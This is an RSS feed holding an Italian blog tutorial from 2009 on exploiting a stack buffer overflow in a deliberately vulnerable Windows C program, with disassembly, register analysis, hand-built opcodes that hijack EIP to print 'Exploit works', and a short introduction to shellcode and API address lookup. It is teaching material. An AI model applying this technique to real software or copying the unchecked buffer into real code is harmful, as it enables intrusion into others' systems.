<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mind Unpacked &#187; exploit</title>
	<atom:link href="http://mindunpacked.com/tag/exploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://mindunpacked.com</link>
	<description>informatica.elettronica.chimica.new stuff</description>
	<lastBuildDate>Tue, 22 Dec 2009 17:35:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://mindunpacked.com</link>
<url>http://mindunpacked.com/wp-content/plugins/maxblogpress-favicon/icons/favicon-2.ico</url>
<title>Mind Unpacked</title>
</image>
		<item>
		<title>Buffer overflow: Windows</title>
		<link>http://mindunpacked.com/2009/buffer-overflow-windows/</link>
		<comments>http://mindunpacked.com/2009/buffer-overflow-windows/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 14:16:01 +0000</pubDate>
		<dc:creator>Marco</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[arwin]]></category>
		<category><![CDATA[Buffer overflow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://mindunpacked.com/?p=352</guid>
		<description><![CDATA[Nella parte introduttiva sull&#8217;overflow mi sembra di aver spiegato abbastanza chiaramente i fondamenti di questo tipo di errore, quasi un incubo per i programmatori. In questo articolo vedremo come sfruttare la suddetta vulnerabilità in ambiente Windows.
Il primo overflow
Passo subito alla pratica, proprio perché nel precedente articolo ho già trattato la parte teorica. Vediamo quindi un [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Nella <a href="http://mindunpacked.com/2008/il-buffer-overflow-introduzione/">parte introduttiva sull&#8217;overflow</a> mi sembra di aver spiegato abbastanza chiaramente i fondamenti di questo tipo di errore, quasi un incubo per i programmatori. In questo articolo vedremo come sfruttare la suddetta vulnerabilità in ambiente Windows.<span id="more-352"></span></p>
<p><strong>Il primo overflow</strong></p>
<p style="text-align: justify;">Passo subito alla pratica, proprio perché nel precedente articolo ho già trattato la parte teorica. Vediamo quindi un semplice programma vulnerabile all&#8217;overflow dello stack:</p>
<pre class="brush: cpp;">
#include
int main(int argc, char **argv) {
char buf[20];  //inizializzo un buffer di 20 bytes
FILE* f=NULL;
int i=0;
printf(&quot;\nTest BOF&quot;);
f=fopen(&quot;input.txt&quot;,&quot;rb&quot;); //apro il file...

while(!feof(f)) { //...e comincio a leggerne il contenuto
buf[i]=fgetc(f); //salvo i byte nel buffer
i++;
}
fclose(f); //chiudo il file
}
</pre>
<p style="text-align: justify;">Si tratta di un esempio tipico di buffer overflow, dovuto all&#8217;uso incauto di un buffer nella lettura da file. Se infatti il file contiene dati per più di 20 bytes il programma andrà in crash, visualizzando il classico avviso di Windows.</p>
<p><a href="http://mindunpacked.com/wp-content/uploads/2009/01/avviso.gif"><img class="aligncenter size-medium wp-image-353" title="Crash del programma" src="http://mindunpacked.com/wp-content/uploads/2009/01/avviso.gif" alt="Crash del programma" width="454" height="229" /></a></p>
<p style="text-align: justify;">Il codice, infatti, non fa altro che leggere un carattere alla volta dal file input.txt fino alla fine per poi copiarlo nella variabile buf. Naturalmente, poiché non c&#8217;è nessun controllo sulla dimensione del file, basta superare il limite del buffer per provocare la condizione di overflow. Nell&#8217;esempio, per far crashare il programma, ho inserito di proposito una stringa di 28 bytes (AAAABBBBCCCCDDDDEEEEFFFFGGGG) dove “FFFFGGGG” sono i byte eccedenti. Ma dove finiscono questi dati? Come detto la scorsa volta i dati che causano il traboccamento del buffer vanno a sovrascrivere lo stack della memoria. In questo caso, se si usa un debugger per visionare lo stato della memoria al momento dell&#8217;overflow, si noterà che il registro EIP ha assunto il valore 0&#215;47474747 e quello EBP il valore 0&#215;46464646, che rispettivamente equivalgono – in esadecimale – ai caratteri GGGG e FFFF.</p>
<p><center><script type="text/javascript">
heyos_ad_user = 11334;
heyos_ad_type = "G";
heyos_ad_format = "1";
heyos_color_border = "23292b";
heyos_color_bg = "23292b";
heyos_color_link = "FFFFFF";
heyos_color_text = "21b8ca";
heyos_color_url = "21b8ca";
</script>
<script type="text/javascript" src="http://admaster.heyos.com/core/bnr.js"></script></center></p>
<p><strong>Primi passi verso l&#8217;exploit</strong></p>
<p style="text-align: justify;">Modificare il registro EIP significa, in parole povere, riuscire a modificare l&#8217;esecuzione del programma, dirigendolo in una qualsiasi zona a nostro piacere. Una volta chiarito questo punto possiamo iniziare a progettare un exploit in grado di sfruttare l&#8217;overflow individuato per prendere il controllo del programma. Si procede studiando l&#8217;esecuzione del programma fino alla condizione di overflow, passo dopo passo, grazie ad un debugger. Vediamo ora la prima parte del programma. Dovete comunque tenere conto che se disassemblate un eseguibile da voi compilato l&#8217;output potrebbe differire dal mio, ciò è dovuto dalla differenza del compilatore, od anche da una versione diversa dello stesso:</p>
<pre class="brush: cpp;">
00401000 push ebp //salva EBP nello stack
00401001 mov ebp,esp
00401003 sub esp,1Ch //riserva spazio per buffer
00401006 mov dword ptr [ebp-18h],0 //variabile FILE* f
0040100D mov dword ptr [ebp-1Ch],0 //variabile int i
</pre>
<p style="margin-bottom: 0cm; text-align: justify;">Questa parte iniziale di codice viene generata dal compilatore e si “preoccupa” di riservare spazio nello stack utile per allocare buf (0&#215;1C byte) e le altre variabili. Sono riportati i valori dei registri dello stack ESP e EPB prima e dopo l&#8217;esecuzione delle istruzioni. Successivamente il programma esegue la stampa a video con printf() della stringa “Test BOF”. In linguaggio assembly i prametri di una funzione vengono passati mediante salvataggio nello stack: prima della chiamata a printf() troviamo infatti un&#8217;istruzione PUSH che memorizza nello stack l&#8217;offset della stringa di testo.</p>
<pre class="brush: cpp;">
00401014 push 407030h //offset stringa  “\nTest”
00401019 call 00401114 //printf()
0040101E add esp,4
...
</pre>
<p style="margin-bottom: 0cm;">Analizziamo ora il ciclo while che legge fino alla fine del file i byte memorizzandoli nella variabile buf:</p>
<pre class="brush: cpp;">
00401033 mov dword ptr [ebp-18h], eax
00401036 mov eax, dword ptr [ebp-18h]
00401039 mov eax, dword ptr [eax-0Ch]
0040103C and ecx,10h
0040103F test ecx,ecx //test di fine file (EOF)
00401041 jne 00401061
00401043 mov edx, dword ptr [ebp-18h]
00401046 push edx
00401047 call 004010C7 //lettura da file fgetc()
0040104C add esp,4
0040104F mov ecx, dword ptr [ebp-1Ch]
00401052 mov byte ptr [ebp+ecx-14h],al //memorizza il byte in buf
00401056 mov edx, dword ptr [ebp-1Ch]
00401059 add edx,1 //incremento variabile i (i++)
0040105C mov dword ptr [ebp-1Ch],edx
0040105F jmp 00401036
</pre>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm; text-align: justify;">l&#8217;istruzione alla riga 12 è quella che scrive nel buffer il dato letto da file mediante fget(). L&#8217;indirizzo del buffer è dato da [EBP+ECX-14h]; il valore vinere incrementato ad ogni iterazione grazie al registro ECX. E&#8217; tuttavia la parte finale del programma, quella che segue immediatamente all&#8217;istruzione fclose(), la più interessante: viene ripristinato il valore del registro EBP e per chiudere la procedura si esegue un&#8217;istruzione di ritorno RET. Tale istruzione ha l&#8217;effetto di estrarre una word (32 bit) dallo stack e di memorizzare in eip, modificando l&#8217;indirizzo dell&#8217;istruzione corrente e spostando così il flusso di esecuzione del programma. E&#8217; in questo momento che emergono i problemi dell&#8217;overflow e il programma raggiunge una condizione indefinita. Il ciclo while infatti, non si accorge di scrivere nel buffer più dati di quelli previsti (28 contro 20) e di conseguenza inizia a scrivere sopra lo stack alterando i valori in esso memorizzati.</p>
<pre class="brush: cpp;">
00401061 mov eax, dword ptr [ebp-18h]
00401064 push eax
00401065 call 00401071
0040106A add esp,4
0040106D mov esp,ebp
0040106F pop ebp //ripristina EBP
00401070 ret //istruzione di ritorno
</pre>
<p style="margin-bottom: 0cm; text-align: justify;">Tutto ciò si traduce con un errore che scatta nel momento in cui si eseguono le istruzioni POP e RET: i valori estratti dallo stack non sono quelli corretti, ma sono diventati parte dei dati letti da input; infatti, nel momento in cui si verifica il crash, ci si accorge che i registri EBP e EIP contengono i valori 0&#215;46464646 e 0&#215;47474747, che corrispondono proprio ai caratteri in eccedenza nel file input.txt (rispettivamente le stringe “FFFF” e “GGGG”).<br />
Vediamo ora com&#8217;è possibile creare un exploit capace di sfruttare l&#8217;overflow del programma di esempio. Si è visto come sia possibile controllare l&#8217;andamento del programma fornendo input in eccedenza, ma è possibile andare oltre: se nell&#8217;input invece di fornire stringhe di testo, memorizziamo istruzioni assembly a nostro piacimento, possiamo iniettare il nostro codice direttamente nello stack affidato al programma e quindi modificare l&#8217;andamento del flusso d&#8217;esecuzione, dirottando il registro EIP nel punto in cui si trova il codice iniettato. L&#8217;unica difficoltà di questa fase è il calcolo degli indirizzi e degli offset di allineamento, che dovranno combaciare perfettamente per far sì che il programma ad un certo punto esegua le nostre istruzioni; analizzando la stringa di overflow ci si accorge che il valore GGGG pilota il registro EIP. La struttura dell&#8217;exploit prevede, quindi, un input di questa forma: in testa possiamo sfruttare i primi 20 byte del buffer per memorizzare il codice che vogliamo far eseguire, aiutandoci con eventuali istruzioni NOP (istruzione assembly che corrisponde a no-operation, quindi ininfluente) per allineare il codice esattamente alla dimensione di 20 byte. Seguono due word da 32 bit che corrispondono ai valori scritti dall&#8217;overflow nei registri EBP e EIP; infine, poiché per questo exploit ho pensto di visualizzare una semplice stringa di testo, memorizzeremo nella parte finale dell&#8217;input quest&#8217;ultima, terminata da 0.</p>
<table border="1" cellspacing="0" cellpadding="4" width="100%" bordercolor="#000000">
<col width="60"></col>
<col width="38"></col>
<col width="51"></col>
<col width="51"></col>
<col width="57"></col>
<tbody>
<tr valign="top">
<td width="23%">
<p align="center"><strong>Codice 			iniettato</strong></p>
</td>
<td width="15%">
<p align="center"><strong>NOP 			(0&#215;90)</strong></p>
</td>
<td width="20%">
<p align="center"><strong>EBP</strong></p>
</td>
<td width="20%">
<p align="center"><strong>EIP</strong></p>
</td>
<td width="22%">
<p align="center"><strong>String\0</strong></p>
</td>
</tr>
<tr valign="top">
<td width="23%">0&#8230;</td>
<td width="15%">
<p align="right">&#8230;20</p>
</td>
<td width="20%">
<p align="center">1 			word (4byte)</p>
</td>
<td width="20%">1 			word (4byte)</td>
<td width="22%">“Exploit 			works”</td>
</tr>
</tbody>
</table>
<p style="margin-bottom: 0cm; text-align: justify;">Il registro EIP servirà per dirottare il flusso del programma verso l&#8217;inizio del codice da noi iniettato. Analizzando col debugger l&#8217;esecuzione del programma, si nota che il valore di EBP prima dell&#8217;overflow è 0&#215;0012FF80, mentre lo stack usato per memorizzare i dati inizia all&#8217;offset 0&#215;0012FF6C, che sarà proprio il punto in cui partirà il codice iniettato. Conosciamo quindi i valori delle word di EBP e di EIP, non resta che scrivere il codice da ineittare.<br />
Come ho accennato prima, descriverò un exploit di esempio che non frà altro che stampare a schermo una stringa di testo. E&#8217; ovvio che ci si può spingere oltre e creare i cosiddetti shellcode, ovvero del codice assembly in grado di aprire una shell sul sistema vittima, solitamente con privilegi da amministratore. Alla fine di questo articolo accennerò alla costruzione di uno shellcode, ma un argomento del genere andrebbe approfondito non poco, e richiederebbe un articolo a parte.</p>
<p style="margin-bottom: 0cm; text-align: justify;">Ritornando all&#8217;exploit, per stampare del testo abbiamo bisogno di conoscere l&#8217;offset in cui risiede la stringa e l&#8217;indirizzo  di printf(), che come si è visto prima, è localizzata a 0&#215;00401114. Il codice assembly da iniettare sarà il seguente, per un totale di 3+5+5=13 byte.</p>
<p style="margin-bottom: 0cm;">
<table border="1" cellspacing="0" cellpadding="4" width="408" bordercolor="#000000">
<col width="188"></col>
<col width="202"></col>
<tbody>
<tr valign="top">
<td width="188"><strong><span style="font-family: Courier New;">OPCODES</span></strong></td>
<td width="202"><strong><span style="font-family: Courier New;">ISTRUZIONE</span></strong></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">83 EC 20</span></td>
<td width="202"><span style="font-family: Courier New;">SUB ESP, 0&#215;20</span></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">68 x1 x2 x3 x4</span></td>
<td width="202"><span style="font-family: Courier New;">PUSH offset(stringa)</span></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">E8 y1 y2 y3 y4</span></td>
<td width="202"><span style="font-family: Courier New;">CALL printf()</span></td>
</tr>
</tbody>
</table>
<p style="margin-bottom: 0cm;">
<p style="text-align: justify;">Per raggiungere  i 20 bytes richiesti dall&#8217;overflow, si aggiungono 7 istruzioni NOP alla fine del codice. Gli opcodes sono i codici esadecimali che corrispondono univocamente alle istruzioni assembly; ad esempio 83 EC identifica l&#8217;istruzione SUB ESP, che seguita dal valore 0&#215;20, sottrae 20 byte dal registro EBP. Non rimane che calcolare i valori “x1 x2 x3 x4” e “y1 y2 y3 y4” della PUSH e della CALL. L&#8217;offset della stringa di testo si calcola partendo dall&#8217;indirizzo iniziale del nostro buffer (dove inizia il codice, 0&#215;0012FF6C) a cui si aggiungono i 28 byte del buffer, ottenendo 0&#215;0012FF88. Per calcolare il valore di  y1 y2 y3 y4 occorre invece partire dall&#8217;indirizzo della funzione printf() 0&#215;00401114 a cui bisogna sottrarre l&#8217;offset in cui si trova l&#8217;istruzione CALL, che è dato da 0&#215;0012FF6C+3+5+5 = 0&#215;0012FF79. Quindi otteniamo il valore di 0&#215;002D119B. In definitiva:</p>
<table border="1" cellspacing="0" cellpadding="4" width="455" bordercolor="#000000">
<col width="220"></col>
<col width="217"></col>
<tbody>
<tr valign="top">
<td width="220"><strong><span style="font-family: Courier New;"><span style="font-size: small;">OPCODES</span></span></strong></td>
<td width="217"><strong><span style="font-family: Courier New;"><span style="font-size: small;">S</span></span><span style="font-family: Courier New;"><span style="font-size: small;">I</span></span><span style="font-family: Courier New;"><span style="font-size: small;">TRUZIONE</span></span></strong></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">83 EC 20</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">SUB ESP, 0&#215;20</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">68 88 FF 12 00</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">PUSH 0&#215;0012FF88</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">E8 9B 11 2D 00</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">CALL 0&#215;002D119B</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Va specificato che gli indirizzi e gli offset delle istruzioni assembly vanno scritti al contrario, cioè leggendoli da destra verso sinistra. Per creare un file di input di fatto in questo modo basta ricorrere ad un <a href="http://mindunpacked.com/risorse/file_gen.cpp">semplice programma in c++</a> che unisca vari pezzi dell&#8217;exploit scrivendoli su di un unico file “input.txt”. Usando il file così generato come input per il programma mostrato ad inizio articolo, l&#8217;exploit prenderà il controllo del programma visualizzando la stringa “Exploit works”. In ogni caso, al termine della funzione printf() il programma si trova in un punto indefinito, e quindi andrà in crash comunque. Ciò si può evitare aggiungendo una chiamata ad una funzione come exit().</p>
<p><strong>Windows Shellcoding</strong></p>
<p style="text-align: justify;">Non approfondirò questo argomento, sarebbe troppo lungo e andrebbe aldilà dello scopo di questi articoli. Scrivere degli shellcode è complesso, e non cambia solo da sistema a sistema ma addirittura a seconda delle diverse versioni dello stesso. In generale uno shellcode dovrebbe aprire una shell sul sistema vittima, ma può essere usato per richiamare qualsiasi funzione di sistema approfittando dei privilegi del programma vulnerabile al buffer overflow. La difficoltà di scrivere shellcode universali è appunto dovuto al fatto che gli indirizzi delle varie funzioni cambiano a seconda del sistema. In windows è possibile risalire a tali indirizzi con un <a href="http://mindunpacked.com/risorse/arwin.c">comodo programma di nome arwin</a>. Esso permette di estrapolare l&#8217;indirizzo di una funzione presente in una determinata libreria di sistema (DLL).</p>
<p>C:\&gt;arwin kernel32.dll GetProcAddressarwin<br />
- win32 address resolution program &#8211; by steve hanna &#8211; v.01<br />
GetProcAddress is located at <strong>0&#215;77e7b332</strong> in kernel32.dll</p>
<p style="text-align: justify;">In questo caso siamo riusciti a capire l&#8217;indirizzo della funzione GetProcAddres, che fra l&#8217;altro è molto utile per risalire a qualsiasi altra API di sistema. Il codice da iniettare dovrà essere scritto usando gli indirizzi così ricavati, avrete quindi capito che  con uno shellcode si può fare qualsiasi cosa, capacità di programmazione assembly permettendo. <img src='http://mindunpacked.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://mindunpacked.com/2009/buffer-overflow-windows/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->
